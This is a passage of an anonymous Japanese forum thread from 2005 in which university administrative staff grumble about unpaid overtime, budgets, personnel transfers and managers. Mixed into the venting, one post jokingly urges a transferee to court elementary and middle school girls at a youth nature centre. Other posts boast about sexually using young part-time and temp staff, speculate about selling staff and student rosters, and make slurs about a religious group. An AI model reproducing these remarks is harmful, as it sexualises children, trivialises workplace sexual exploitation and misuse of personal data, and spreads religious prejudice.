うちの事務局長が急死した件ですが、風の噂だといろいろあるようです・・・
714:非公開＠個人情報保護のため
05/02/19 03:17:48
>>713
詳しく
715:非公開＠個人情報保護のため
05/02/19 09:19:33
予算をちゃんと使って０にすることは大事なんですか？
716:非公開＠個人情報保護のため
05/02/19 09:52:30
>>715
大学総体で０にすることは大事。
経営努力でお金を余らせても、それがお上に認められなければ
今後の交付金の査定に響くからね。
しかし個々の予算について経営資源を適性に分配する目的から言えば大事ではない。
要するに必要でない予算は無理に使わずに必要な事業にあてるべきなのだが…
現実には限られた予算の中で予算の分捕り合戦が行われているから、
少なくとも今後の査定で減らされないように当該事業は必要であるという
アピールをする意味で予算を０にする必要はあるのかもしれない。
サラ金ではないが、「ご利用は計画的に」だ。
717:非公開＠個人情報保護のため
05/02/19 11:15:37
交付金は人数割にすればいいのに…。
実学生数*X万円+実院生数*Y万円とかさ。定員数ではないぞ。
全入時代になれば駄目なところは勝手に人が来なくなるから
○文の糞査定よりわかりやすくてよろし。
718:非公開＠個人情報保護のため
05/02/19 12:06:02
>>705
メンヘル多すぎ
構造的要因か
719:非公開＠個人情報保護のため
05/02/19 12:07:12
物品購入云々より鬼のようなサビ残のほうが問題だと思うが。
小手先の誤魔化しで納得する牢記なんて節穴もいいとこだよな。
720:非公開＠個人情報保護のため
05/02/19 12:18:27
>>719
サビ残なんかしないで帰ればええやん♪
きっちりやって定時に帰る分は文句言われる筋合いはないんだし、
もし「残れ」と言われたら彫金命令？って確認した上で残業すれば
いいんじゃない？
目標は、「課長より先に出勤し、課長より先に帰る」だよ。
大体朝定時に業務開始できてないヤツら多すぎるし、
勤務時間中に昼飯買いに行ったり、ネット見てたりするヤツらも結構いる。
電話にしたって話が長いやつもいるし、打ち合わせも時間ばかり掛かりすぎだし…
721:非公開＠個人情報保護のため
05/02/19 12:42:20
>>720
オマエモナー
722:非公開＠個人情報保護のため
05/02/19 13:04:10
大体朝定時に業務開始できてないヤツら多すぎるし、
勤務時間中に昼飯買いに行ったり、ネット見てたりするヤツらも結構いる。
大体朝定時に業務開始できてないヤツら多すぎるし、
勤務時間中に昼飯買いに行ったり、ネット見てたりするヤツらも結構いる。
大体朝定時に業務開始できてないヤツら多すぎるし、
勤務時間中に昼飯買いに行ったり、ネット見てたりするヤツらも結構いる。
大体朝定時に業務開始できてないヤツら多すぎるし、
勤務時間中に昼飯買いに行ったり、ネット見てたりするヤツらも結構いる。
723:非公開＠個人情報保護のため
05/02/19 13:24:20
ウソだと思うだろうが本当です。
724:非公開＠個人情報保護のため
05/02/19 13:32:17
計算廻してるときとかバックうｐ中はやることないからﾁｬｯﾄしてるよ
Yahooﾒｾでだけどねw
725:非公開＠個人情報保護のため
05/02/19 16:44:48
あげ
726:非公開＠個人情報保護のため
05/02/19 16:51:51
メッセンジャー関係をインストールすると
なぜか即バレして情報処理のやつら自らきて
グダグダ説教して帰る。うるさいざますね。
727:非公開＠個人情報保護のため
05/02/19 17:03:31
本省併任時代の動機とメッセンジャーで情報交換して、仕事に
役立たせてますが…
728:非公開＠個人情報保護のため
05/02/19 18:24:33
>>719
>小手先の誤魔化しで納得する牢記なんて節穴もいいとこだよな。
納得してるフリをしているだけだよ。
真剣に定時退庁させてたら大学がまるごとあぼーんするからな。
729:非公開＠個人情報保護のため
05/02/19 18:28:14
>>726
＞メッセンジャー関係をインストールすると
＞なぜか即バレして
こーゆーのがあるでよ↓
URLﾘﾝｸ(www.asciisolutions.com)
730:非公開＠個人情報保護のため
05/02/19 19:15:17
>>724 余力がある環境は羨ましい限り。
俺のとこなど、統計用スクリプト回したらPCがほとんどハングして、傍目も振らず
一心に処理やってくれるもんで、終るまでの間メールすら読めん。
数分で終るんで他の紙仕事してたりするが、その間に問い合わせが入ったりすると
プロセス殺して後でまたやるしかない。
何か用事をこしらえて、席を立つ直前に起動するのが一番効率がよかったり。
731:非公開＠個人情報保護のため
05/02/19 20:48:14
>きっちりやって定時に帰る分は文句言われる筋合いはないんだし
きっちりやって帰ろうとすると、
係長が「もうかえるの！？」って言うんだけど・・
会計はとりあえず、最低8時までは残っとかないと
いけないという考えみたい。
仕事の中身よりも
残業することが美徳、
遅くまで仕事する奴が、優秀というのが大学の常識。
732:非公開＠個人情報保護のため
05/02/19 21:31:39
うちでは定時退潮してる香具師は昼間も仕事してませんが
こういう香具師、とっとと頸ﾁｮﾝﾊﾟにできんもんかね
いくらなんでも酷すぎる
そのくせ匿章だけはきっちりしてるし、残業なんてしてねえのに彫金まで・・・
うちの人事の神経疑うよ
733:非公開＠個人情報保護のため
05/02/19 21:41:06
人事は神経いかれてないとできないよ
734:非公開＠個人情報保護のため
05/02/19 22:09:09
>>731
「家に帰りたくないから残業している訳じゃないんです」
「１日に２回も帰るような趣味を持ってないんですよ」
と思いつつも堂々と「お先に失礼します」と逃げて帰りましょう。
一生懸命やってもせいぜい係長止まりなんだし、
残っても収入が増えるわけじゃないんだし、
もっと密度の濃い仕事しましょうや。
735:非公開＠個人情報保護のため
05/02/19 22:26:48
うちは、月４５ｈまでなら、残っただけ彫金出るぜ。
俺も先月の彫金代１０万超した。
736:非公開＠個人情報保護のため
05/02/19 22:28:50
いま早く帰ってますが、それはLECに通ってるためです
737:非公開＠個人情報保護のため
05/02/19 22:39:13
>>731
昔、会計系統経験したので良くわかる。
仕事が済んだらとっとと帰るに限る。
無理やり上司に午前３時くらいまで飲まされ（しかも毎週月・木曜）
翌日不眠でふらふらになりながらアルコール中毒者で
計算しててミスの連続。酩酊状態で仕事。周りからは「異常者」扱い。
土曜日・日曜日は回復してるので終日
ここで何とか返上して間に合わせる。
これは自分の無能を飛び越して単なるアホです。
出世を計ろうとしても所詮地方採用では
会計・人事・企画系→本省奴隷送り→地方係長→地方補佐（ここで終わる可能性大）
→せいぜい地方課長で
終了です。雑魚扱い。どんなに徹夜して頑張っても７級どまり。
民間行って役にたつのは給与・出納業務だけで予算要求・調達
ハコモノ系統は何の役にも立ちません。大学事務はあくまで独自のもの。
738:非公開＠個人情報保護のため
05/02/19 22:49:29
>>735
うらやましい…
739:非公開＠個人情報保護のため
05/02/19 23:22:17
とんでもねえミスをしでかしたにも関わらず、全く悪びれる風もなく、
他人のせいにして居直るDQN信心女。
マジで殺意を覚えた。
740:非公開＠個人情報保護のため
05/02/20 00:15:28
>>737
>民間行って役にたつのは給与・出納業務だけで予算要求・調達
>ハコモノ系統は何の役にも立ちません。大学事務はあくまで独自のもの。
いや、役に立つのは
教 職 員 と 学 生 の 個 人 情 報 だ け だ
741:非公開＠個人情報保護のため
05/02/20 11:47:25
少年自然の家への異動を打診されたが，行くべきか？行かざるべきか？
当方，ペーパードライバーのアニオタ独身男26。
742:非公開＠個人情報保護のため
05/02/20 12:02:55
つかもう移動の打診とかかるんだな。
関西圏の大学だけど早く打診してくれ。
743:非公開＠個人情報保護のため
05/02/20 12:14:05
>>741
行けばわかるさ！
744:非公開＠個人情報保護のため
05/02/20 12:29:08
>741
良いなぁ。
若い娘に逢えそうだ・・・・・。
745:非公開＠個人情報保護のため
05/02/20 12:45:54
>>741
一度行ってみたいなあ
746:非公開＠個人情報保護のため
05/02/20 12:54:20
>>744
まあ若い娘はいっぱいいるな。
田舎娘ばっかりやろうけど。
747:非公開＠個人情報保護のため
05/02/20 13:59:38
>>741
若い娘はいっぱいくるが
小学生や中学生。せいぜい高校生
まあでも金はたまりそうだな、
使うところがないもの
748:非公開＠個人情報保護のため
05/02/20 14:02:27
中学生や高校生なんて来ないでしょ
あのベッドでは身長的に男子生徒が収まらない
749:非公開＠個人情報保護のため
05/02/20 14:18:07
>746
>まあ若い娘はいっぱいいるな。
>田舎娘ばっかりやろうけど。
>747
>若い娘はいっぱいくるが
>小学生や中学生。せいぜい高校生
だから、いいんじゃないか。
しかも、失敗しても何十回、何百回とチャンスはあるし、
メール主体になるだろうから、二股かけてもバレにくそうだ。
大学時代の年１回補充より良いじゃないか。
それに、アニオタなら小学校～高校相手に、少女漫画でも話題にできるぞ。
小学生でも５年で結婚可能年齢だ。
第一、中学生くらいの彼女の良いトコロは、
付き合っても金がほとんど掛からなかったから貧乏でもOKって所だ！
田舎娘だったら、大学職員でも高給と思われるだろうしな。
と考えて、行ってくればいいんじゃない？
750:非公開＠個人情報保護のため
05/02/20 14:28:59
>>749
ﾜﾛﾀ
751:非公開＠個人情報保護のため
05/02/20 14:47:33
某少年自然の家に３年間いました
蚊に刺されつつの野外ファックはなかなかオツなもんですよ
752:非公開＠個人情報保護のため
05/02/20 15:48:57
>>735
なんでそんなにもらえる？うちなんか毎月せいぜい１０時間前後だぞ。
>>740
職員と学生の名簿って売却したらいくらぐらいになるだろ？５万ぐらいか？
>>741
少年自然の家って島流しなの？
753:非公開＠個人情報保護のため
05/02/20 16:45:54
馬鹿丁寧にダラダラと仕事してりゃ、そりゃいくらでも残業できる罠。
深夜までやってる連中は激務なんじゃなくて時間通りに終わらせる気が
初めから無いんだと思う。
754:非公開＠個人情報保護のため
05/02/20 17:02:51
>753
上司は部下に残業をさせて、
「自分の下では部下は長時間の残業も苦にせず懸命に仕事をしている」
事で、その人徳と有能さをアピールしようとしているのさ。
その御意向に逆らえば、評定を下げられるか、
もしくは、もっと作業しづらい状況に置かれて
結果的に連日、残業する羽目になるか、だろ。
755:非公開＠個人情報保護のため
05/02/20 18:10:08
>>754
どっちにしろ残業じゃないか
756:非公開＠個人情報保護のため
05/02/20 18:50:18
うちの大学の人事と経理の専門職員がたばこを吸いながら、
残業についてうだうだ語ってた。
そしてたばこ二本目突入。
こりゃぁ、残業なくならないわなｗｗｗ
そんなオレは５時１５分に一切の仕事をやめ、
上司の帰宅時間の６時に一緒に職場をでるへたれです。
757:非公開＠個人情報保護のため
05/02/20 20:45:04
>>754
>「自分の下では部下は長時間の残業も苦にせず懸命に仕事をしている」
>事で、その人徳と有能さをアピールしようとしているのさ。
公務員時代ならそれが十分通用するが、法人化した今となっては無能さのアピールにしかならないよ。
下手したら閑職に飛ばされるかも
758:非公開＠個人情報保護のため
05/02/20 21:02:44
>>757
ところが上の人間の意識が変わってないから今でも十分通用しちゃう悲しさ。
759:非公開＠個人情報保護のため
05/02/20 21:05:51
早く帰ってネコちゃんに餌あげなきゃ♪
760:非公開＠個人情報保護のため
05/02/20 21:11:20
遅くまで残って上司に気に入られなきゃ♪
761:非公開＠個人情報保護のため
05/02/20 21:28:07
>741
ペーパードライバーは最初つらいぞ
業務上運転は多いし
というか通勤からして車乗らないと無理だろ
行くとしたら、「庶務で」「会計で」「接客は無理ぽ」と
はっきり言っておいた方が良いと思う
利用者と>>741双方のために
by自然の家経験者
762:非公開＠個人情報保護のため
05/02/20 21:33:44
山奥にあるの？
763:非公開＠個人情報保護のため
05/02/20 21:52:27
>>762
おまい、都会のど真ん中の「少年自然の家」なんて行った事があるのか？
764:非公開＠個人情報保護のため
05/02/20 21:53:35
都会なら「少年不良の家」だなｗ
765:非公開＠個人情報保護のため
05/02/20 22:29:28
定時って5時？
残業って5時過ぎてからの業務のこというの？
766:非公開＠個人情報保護のため
05/02/20 22:45:48
うちは17時15分まで定時
767:非公開＠個人情報保護のため
05/02/21 01:23:26
>756
いいなぁ。終われて。
学部にいたときは相当余裕あったけど、本部に来たら
マジ帰れん・・・。本省にもちょこっといたけど、アレより
キツい気がするぞ。本省こそダラダラ残業だったし・・・。
768:非公開＠個人情報保護のため
05/02/21 02:36:42
>>764
ﾜﾛﾀ
769:非公開＠個人情報保護のため
05/02/21 08:35:03
age
770:非公開＠個人情報保護のため
05/02/21 11:49:32
事務局の人たちって本当に残業が大好きね
771:非公開＠個人情報保護のため
05/02/21 21:19:19
>741です。＞761さん、皆さんありがとうございます。
そうですね。正直、あまり気がすすまないですが、少し前向きになりそうです。
あーでもやーなんだけどね。
772:非公開＠個人情報保護のため
05/02/21 21:52:55
>771
761だけど追伸
宿舎に入りますか？一施設の職員は約２０人前後、
宿舎はそれより若干少なく、小コミュニティでの生活が
続きます
あと「小・中学校の先生」という大学とは違う先生方とも
仕事を共にします
命令には逆らえないでしょうがメンヘルにならないように
でもな慣れると天国かもな
行って見なければわからない面もある
773:非公開＠個人情報保護のため
05/02/21 22:13:22
ペットも連れて行けますか？
774:非公開＠個人情報保護のため
05/02/21 23:24:43
家と国大の採用が違うのはなぜ？
775:非公開＠個人情報保護のため
05/02/21 23:36:01
>>774
人事交流があるとはいえ
独立行政法人国立青年の家と国立大学法人○○大学は別物だから。
776:非公開＠個人情報保護のため
05/02/22 00:17:45
法人の給与の情報公開ガイドラインがでてたな。せっかく法人化になって、「給与実態調査」がなくなったと思っていたのに、また面倒な調査が増えた。
お役人様は、仕事を増やすのがすきだな。
777:非公開＠個人情報保護のため
05/02/22 00:24:25
>>776
ｼｽﾃﾑで出せた分、去年までの方がﾏｼだったんじゃねーか？
もっとも汎用機の時代はもっと苦労してたけどな
778:非公開＠個人情報保護のため
05/02/22 00:35:27
結局ラスパイレスとかいって、法人制度を雁字搦めに縛るのだよ。
779:非公開＠個人情報保護のため
05/02/22 07:54:21
>>776
仕事を増やすのが好きなのは、長妻様ではないのかね？
780:非公開＠個人情報保護のため
05/02/22 08:28:24
>>776
＞せっかく法人化になって、「給与実態調査」がなくなったと思っていたのに、
給与実態調査はしっかりあるよ。
今回は少々面倒なことになってるので調査依頼が遅れてるだけ
781:非公開＠個人情報保護のため
05/02/22 08:29:23
age
782:非公開＠個人情報保護のため
05/02/22 20:08:56
国立青年自然の家に行ったことある人いる？
そこってどうよ？
783:非公開＠個人情報保護のため
05/02/22 20:11:34
ないなあ
784:非公開＠個人情報保護のため
05/02/22 20:57:29
そんな家。
785:非公開＠個人情報保護のため
05/02/22 23:20:22
どこにあるの青年の家？
786:非公開＠個人情報保護のため
05/02/23 00:11:49
青年の家は，街から隔離するために島や山奥にあります。
少年自然の家の方が，まだ街に近いかも・・・でもやっぱり自然の中です。
ちなみに青年の家には体育館が有るけど，少年自然の家にはありません。
というか作れない決まりになっているらしい・・・自然の家だから。
787:非公開＠個人情報保護のため
05/02/23 01:41:59
県庁所在地にある大学の職員と田舎の市役所だったら
どっちがオススメですか?
788:非公開＠個人情報保護のため
05/02/23 01:51:07
>>787
そりゃあもちろん
田舎の市役所。
だが、うちには市役所を辞めて大学職員になった（しかもつい最近）
という奇特な香具師がいる。
789:sage
05/02/23 01:53:11
そうですか。
なるほど。
レスありがとうございます。
790:非公開＠個人情報保護のため
05/02/23 01:54:04
最悪。ミスった。
ごめんなさい。
791:非公開＠個人情報保護のため
05/02/23 14:10:05
国立青年自然の家と国立少年自然の家の職員は
大学職員が従事するのですか？？出向？人事交流？
792:非公開＠個人情報保護のため
05/02/23 15:18:20
給料が５％減るらしいですね
793:非公開＠個人情報保護のため
05/02/23 17:36:37
age
794:非公開＠個人情報保護のため
05/02/23 18:05:23
大学発ベンチャーって結局おままごとに過ぎないな。
今に始まった事ではないんだけど
経費につけとけって渡されたレシート見て愕然となった。
自分の給料より多いんですが、先生。
普通の会社なら余裕で背任容疑だよな。訴えたい。
795:非公開＠個人情報保護のため
05/02/23 18:53:56
派遣社員のレイコさ～ん♪
796:非公開＠個人情報保護のため
05/02/23 19:15:50
>>794
成功すれば教授の功績
失敗すれば大学の負債
ってトコだからな。
大学ベンチャーで増えたのは教授の飲み会。
797:非公開＠個人情報保護のため
05/02/23 20:01:57
職員に草加は何パーセントいますか？
798:非公開＠個人情報保護のため
05/02/23 20:11:17
>791
少年のほうは知らないけど青年の家は人事交流。
いちおう独法化になっちゃったから大学に辞表届出して
青年の家に採用→異動があれば青年の家で辞表書いて
また大学に戻る…と、こんな感じかな。
職員の半分が大学職員で、残りが県人事（小・中・高の
先生）のところが多いかな？
799:名無しでＧｏ！
05/02/23 20:56:47
>>797
関西地区の某大学ですが、１０人に１人ぐらいは確実に。。
ほとんどの職員が学会にヲルグされた経験があると思う。
800:非公開＠個人情報保護のため
05/02/23 21:08:09
畝苦大は係長に報道コメントを出させるのか？
801:非公開＠個人情報保護のため
05/02/23 21:18:21
多分国営放送側が直接係長にインタビューしたものと思われ。
係長のコメントはいたって妥当なところだが、
他人を責めるのが得意な大学事務のことだから、
明日は係長祭りだな。ご愁傷さまｗ
802:非公開＠個人情報保護のため
05/02/23 21:49:54
局長、部長、課長は逃げ回ってるのか？
803:非公開＠個人情報保護のため
05/02/23 22:05:25
>791
>798
青年の家も少年自然の家も高専とあわせて基本的に大学職員と人事交流になって
いるとところが多いと思われます。ただ，最近は辞表を書かない出向の形をとってい
るところが多いんじゃないかな？
ちなみに青年の家，少年自然の家のトップである所長は，大学の事務局長同等職
になります。上に面倒な学長がいないため，結構居心地はいいみたい・・・完全な
お山の大将だもん。ただ，最近は，本省のキャリアポストになっているところもある
そうで，そういうところは色々厳しいみたいです。
なお，よく勘違いされますが，青年の家には自然の文字は付きませんのでお間違
えのないように！
804:非公開＠個人情報保護のため
05/02/23 22:45:54
>>797
一割は堅い
805:非公開＠個人情報保護のため
05/02/24 00:27:33
>>794
>自分の給料より多いんですが、先生。
>普通の会社なら余裕で背任容疑だよな。訴えたい
普通の会社ならこんなベンチャーには頼まん
悔しかったらとっとと辞めて高給取れるような民間にでも逝け
806:非公開＠個人情報保護のため
05/02/24 10:36:22
鹿以下よくやったｗ 彫金オメ
807:非公開＠個人情報保護のため
05/02/24 12:51:34
鹿児島医科大学なんてあるか？
808:非公開＠個人情報保護のため
05/02/24 13:11:27
滋賀烏賊
809:非公開＠個人情報保護のため
05/02/24 16:15:24
課長がなんたらの家の所長だってさ
810:非公開＠個人情報保護のため
05/02/24 17:54:11
age
811:非公開＠個人情報保護のため
05/02/24 19:34:02
何たらの家の長なら、「家長」にすればいいのになｗ
812:非公開＠個人情報保護のため
05/02/24 20:47:33
残業代１億円超未払い、滋賀医大に大津労基署が改善勧告
URLﾘﾝｸ(www.asahi.com)
これで、また我が社の「いちろー」さんからメールが来るのかな？
813:非公開＠個人情報保護のため
05/02/24 22:43:11
>>812
次は弟のじろーさんがメール出すらしいよ。
814:非公開＠個人情報保護のため
05/02/25 01:24:42
で、メールサーバに黒山羊を飼って出したメールを食べさせろと言われたシステム部門が困惑。
815:非公開＠個人情報保護のため
05/02/25 06:22:12
ここの庶務課長は労基法が全くわかっていないよ。
マルブンもこんなのを庶務課長にしたよな
同大学の前原義久・庶務課長は「命じていない超過勤務について
手当てを支払う必要はなく、未払いの事実はない」と説明している。
（『読売新聞』2004年12月25日付の一部）
同大庶務課の前原義久課長は「是正勧告を真摯（しんし）に受け
止め、職場環境の改善に向けて努力したい」とコメントしている。
(『朝日新聞』2005年2月23日付の一部）
816:非公開＠個人情報保護のため
05/02/25 12:58:21
入試のﾀﾁﾝﾎﾞは辛い・・・orz
817:非公開＠個人情報保護のため
05/02/25 14:13:47
漏れ宮廷卒の２７歳（無職）だけど、大学職員ってどう？
あまりおすすめじゃないみたいだけど。
仕事内容とか給料とかどんなものなのかなあ。
818:非公開＠個人情報保護のため
05/02/25 14:39:00
age
819:非公開＠個人情報保護のため
05/02/25 19:45:18
課長が馬鹿だと苦労するな
820:非公開＠個人情報保護のため
05/02/25 21:09:08
ちょんぼしても責任取らないんだろ？
大学事務最高だなw
821:非公開＠個人情報保護のため
05/02/25 21:30:00
>>816
乙
822:非公開＠個人情報保護のため
05/02/25 21:33:34
職場環境の改善の前に自分の頭の中を改善した方がいいなｗ
823:非公開＠個人情報保護のため
05/02/26 02:01:14
つーか残業代払えっての
退職金より過去２年間の未払い賃金の方が高額ときたもんだ
824:非公開＠個人情報保護のため
05/02/26 02:42:13
その課長も頭の中ではわかっているのだろうな・・・
825:非公開＠個人情報保護のため
05/02/26 02:47:24
マジで２～３人逮捕されないと尻に火がつかないと見た
826:非公開＠個人情報保護のため
05/02/26 03:34:43
この職業と同等の給料もらえるのはなんですか？
827:非公開＠個人情報保護のため
05/02/26 12:14:38
今日も休日出勤だ。
俺ってできる男だなー
828:未公開＠個人情報保護のため
05/02/26 13:34:18
学長の腹の内を見たときにすこし、戸惑った。
829:非公開＠個人情報保護のため
05/02/26 18:40:19
黒かったのか？
俺も見たことあるぞ。
形ばかりの実績を残そうと、どす黒いどころか腐臭を放っていたよ。
830:非公開＠個人情報保護のため
05/02/26 19:28:26
age
831:非公開＠個人情報保護のため
05/02/26 19:52:39
学長と教官の定年が違うのはなぜ？
832:非公開＠個人情報保護のため
05/02/26 23:23:52
>>831
そう決めたから
833:ＤＩＯ
05/02/27 01:33:23
どうも、あかんわ。周りとうまくコミュニケーション取れないし、
イメージ通りに仕事できない。
834:非公開＠個人情報保護のため
05/02/27 09:55:54
>>833
ｶﾞﾝｶﾞﾚ
みんな似たようなもんだ
順風満帆の人生なんて、そうはありえないもんさ
835:非公開＠個人情報保護のため
05/02/27 10:24:05
事務職員の国家2種以上で採用された人の中には
頭自体はかなりいいのに使い勝手悪い人が多い。
836:非公開＠個人情報保護のため
05/02/27 10:54:05
>>835
お勉強はできても、要領悪い奴は多いでしょうね
霞ヶ関に袖にされ泣く泣く大学に来た奴もいるし
そういう自分も国２技術系無い内定寸前→技術系諦め大学事務
技術系に転換できるかもと思った自分が浅はかだった
いまやりっぱなダメ職員です、ええ
837:非公開＠個人情報保護のため
05/02/27 12:00:20
DIOﾊｹｰﾝ
838:非公開＠個人情報保護のため
05/02/27 13:30:08
仕事内容に疑問を持たず、毎年度やってきたことをそのままなぞる能力、
本省や幹部どもの気まぐれな指示事項や凶漢の頼み事を、嫌な顔せずに
黙ってこなす能力、サービス残業の嵐でも文句を言わない忍従だけが
求められているわけだから、一流大出の頭なんて却って邪魔になるだけだ罠。
それなのに、ここ数年毎年、早慶だの関関同立だの地方帝大出だのを
採ってきては放置プレイでスポイル→実働人員外の若手が増大、
という同じ間違いを繰り返す人事っていったい…
839:非公開＠個人情報保護のため
05/02/27 14:13:06
>>838
人事の問題じゃないだろ。
組織の問題だ。
組織を総括してるのは人事だというなら人事だと思うが。
840:非公開＠個人情報保護のため
05/02/27 15:02:19
>>836
そんなに技官がよかったですか？ｂｙ技官より
841:非公開＠個人情報保護のため
05/02/27 15:04:08
高学歴と仕事できないとは違うような・・。
まあ期待はずれって感はするだろうが。
842:非公開＠個人情報保護のため
05/02/27 15:30:53
>>840
隣の芝ってやつだろうよ
843:非公開＠個人情報保護のため
05/02/27 16:02:17
>>839
じゃ人事だろ？適材適所の意味を知れ！
844:非公開＠個人情報保護のため
05/02/27 16:27:15
一人事担当にどれだけの人事権があると思ってんだ
人事担当は単なる死刑執行人に過ぎない
雲の上からの命令に従い、せっせとボタンを押すだけさ
845:非公開＠個人情報保護のため
05/02/27 21:12:35
人事の人に聞きたいんだけど、実際に異動割り振りする時って
何を基準にもってしてるの？他の日常業務とか何してるの？
846:非公開＠個人情報保護のため
05/02/27 21:26:01
異動についての原議の起案は誰がするんだ？？
847:非公開＠個人情報保護のため
05/02/27 21:28:48
>845
>>他の日常業務とか何してるの？
おまいの大学の事務分掌の規則でも嫁．．．．．。
っていうか、釣り？
848:非公開＠個人情報保護のため
05/02/27 21:41:19
age
849:非公開＠個人情報保護のため
05/02/27 22:08:47
誰も人事課のペーペーに責任があるなんて言ってない訳だが｡
新人の採用や配置を決めるのは部課長（総務・人事系以外も加わる場合もある）だが、
現場が判ってない彼らが、国立大学事務にどういうタイプの人間が向いてるかとか、
採った後の育成方法とかをまるで考えずにお遊びで採用、配置してるからこうなる訳で｡
850:非公開＠個人情報保護のため
05/02/27 22:16:14
確かに民間企業みたいにOJTとかなくで人材育成する気がないわな。
ていうか、なんのための採用試験であり面接なんだ？？？？？
851:非公開＠個人情報保護のため
05/02/27 22:19:53
新規採用以外はどうやって異動を決めているの？
852:非公開＠個人情報保護のため
05/02/27 23:06:00
>>851
適当｡
人事が用意した当初案では、毎年「転出入、昇任人事に伴う異動のほか、×年以上
同一ポストにいる者の異動など、必要最小限の異動に留める」と明記してあり、
大体その原則通りになっているのだが、その後各部課長の好き嫌いや
使えない人材の押し付け合いで滅茶苦茶にされる｡
その結果、帳尻合わせで明らかに不適格な部署への異動とか、１～２年で異動
させられてばかりいる人と５～６年も同一ポストにいる香具師とかが必ず出る｡
853:非公開＠個人情報保護のため
05/02/27 23:30:46
>>835
国立大に最近の２種採用はオーバースペックだよ
いまの業務じゃ正職員の２５パーセントくらいは、アルバイトに
代替可能じゃないか
と、２種採用が申しております
854:非公開＠個人情報保護のため
05/02/27 23:47:30
ほんとに大学事務の大卒Ⅱ種採用者は、かわいそう。民間で大卒３０歳くらいなら、大きな仕事任され、部下（後輩？）も４，５人くらいいるよな。
負担行為書（いまもあるの？）書いたり、旅費計算・・・・。課内には、後輩が入ってこないので、いつまでも下っ端。つまらんだろうな。
855:非公開＠個人情報保護のため
05/02/27 23:54:48
役員の報酬を改訂？実績もあげてないくせに何をいう。
指定替するとしたら、いつ？もう指定職じゃないのだから、関係ありません。
改訂してほしいなら、実績をあげろよ。
それよりも、未払い彫金はらえーーーー。
と、いってるらしいよ。
856:非公開＠個人情報保護のため
05/02/28 00:00:31
>>854
でも若いパートの子や派遣のねーちゃんは食い放題だよ。
３年で異動してりゃ、ホトボリもさめるしな。
857:非公開＠個人情報保護のため
05/02/28 00:23:45
大学事務って、「職員を育てる」って認識がほとんど無ぇからな。
しかも「効率化」「投資」って感覚も無い。金も権限も無い。
俺の場合仕事も大部分パソコンとLANを活用すれば速攻で済む
ルーチンワークを延々。サビ残で。そんなのうちだけだと思いたいが・・・
かなり具体的に案を出して「なんとかして」って上に言ったら「金が無い」。
おまけに病院だからDQNな医者や看護師にゴミ扱いされ、
もういやー。俺マゾじゃないんだから言葉攻めは勘弁して。
でも３０超えてこれといったスキルもキャリアも無いので
転職もかなり無理。勧奨退職食らうまで居座ってやる。
もうロヒプノール飲んだし寝ます。すいません、支離滅裂で。
858:非公開＠個人情報保護のため
05/02/28 07:44:33
>>857
漏れもほぼ似たような状況だ
あんたにゃ親近感すら覚えるよｗ
腐らず行こうぜ
出世競争をしなくていい分だけ、比較的楽な商売さ
859:非公開＠個人情報保護のため
05/02/28 13:02:26
どうせ待遇なんかこれから先、良くなるわけないし、
所詮生活していくための手段と割り切って考えて、
趣味なりなんなりのプライベート充実させたほうが
いいんでない？
860:非公開＠個人情報保護のため
05/02/28 17:17:59
自分のしたくない仕事（ケースワーカー等？）をしなければならないかもしれない
田舎市役所と、接客のない大学事務ならどちらがいいと思いますか？
861:非公開＠個人情報保護のため
05/02/28 18:59:28
そりゃ大学だろ
862:非公開＠個人情報保護のため
05/02/28 20:49:00
接客のない大学事務？
どこでもＤＱＮ教官やＤＱＮ課長の相手をせにゃならんぞ
863:非公開＠個人情報保護のため
05/02/28 20:50:16
客は一見さんだが
ＤＱＮ教官やＤＱＮ課長はずっとだ。こっちの方が困る
864:非公開＠個人情報保護のため
05/02/28 20:51:21
>>857
禿同
人は勝手に育つとおもってるからな、馬鹿どもは
865:非公開＠個人情報保護のため
05/02/28 21:35:28
>>864
微妙に違う。
勝手に育つ人種もいる。
しかし、彼らは最初から大学を選ばないか、辞めていく。
866:非公開＠個人情報保護のため
05/02/28 21:36:58
つーかさ、若い奴が逃げるだけならまだしも、
牢記やマルＫに逝かれたらどうなるか、
上は想像したことも無いんかな。
867:非公開＠個人情報保護のため
05/02/28 22:22:26
想像してた以上にこの職場は辛い。
おまけに丸文課長があんなに人間できてない人だとわ。
仕事やる気うせる。部長も課長補佐も丸文課長には
へーこらしてる。
部長も丸文なのになぜ、へーこらするのか疑問である。
丸文には課長クラスで使えない奴のブラックリストが存在すると聞いたことあるが・・・。
868:非公開＠個人情報保護のため
05/02/28 22:39:36
民間からこっちに転職してかなりはげしく思うんだが。。。。。。
ここはほんとに人材育成という概念がないよなあ
「できないお前が悪い」とか採用一年目の俺に言われてもなあ。。。。
869:非公開＠個人情報保護のため
05/02/28 22:57:06
>>853
確かにな。
憲民行に政治学、行政学、経済学とそれなりに難しい試験通ってきて、
あの仕事ではなあ。
煽りではなく、大学事務なんて現状では高卒の仕事だろうに。
870:非公開＠個人情報保護のため
05/02/28 23:06:58
高卒の仕事はいえてるっていうか高卒の先輩方おおすぎ！
あと、何も教えてくれないくせに、怒り散らすな！くそ課長！
871:非公開＠個人情報保護のため
05/02/28 23:16:08
>>866
牢記やまるＫに逝くって転職で？
872:非公開＠個人情報保護のため
05/03/01 07:53:25
未だに方言が理解できない…
873:非公開＠個人情報保護のため
05/03/01 08:18:58
>>867
>部長も丸文なのになぜ、
>へーこらするのか疑問である。
マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
>>870
文句があるなら民間に逝け
一流どころじゃ高卒なんて天然記念物だぜ
874:非公開＠個人情報保護のため
05/03/01 10:34:49
>>873
＞マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
マルブン課長＞マルブン部長＞普通の課長補佐＞係長＞主任＞非常勤職員＞アルバイトねーちゃん＞震災の私
＞文句があるなら民間に逝け
＞一流どころじゃ高卒なんて天然記念物だぜ
民間にいけないかたココにいるんじゃないかな？
この職場は高卒や大卒に大きな意味はたいしてないように思われる。
違うのは給料の額だけと思うけど。
875:非公開＠個人情報保護のため
05/03/01 10:35:52
>>872
本省からくる方の標準語が嫌い。体が受け付けない。
876:非公開＠個人情報保護のため
05/03/01 12:34:54
>>873
オレの姉は高卒でトヨタの本社に入ったZE。
今は部長秘書をやってるらすぃ。
877:非公開＠個人情報保護のため
05/03/01 12:36:19
恩名はまた別
878:非公開＠個人情報保護のため
05/03/01 14:56:42
この仕事って給料どのくらいですか？
身内養えるくらいには貰えます？
879:非公開＠個人情報保護のため
05/03/01 15:40:44
今日労働組合というものから非常勤職員の待遇改善に関するアンケート依頼が来た。
（自分は非常勤）
待遇改善よりも大学事務そのものについて異議申し立てがしたいと思っている。
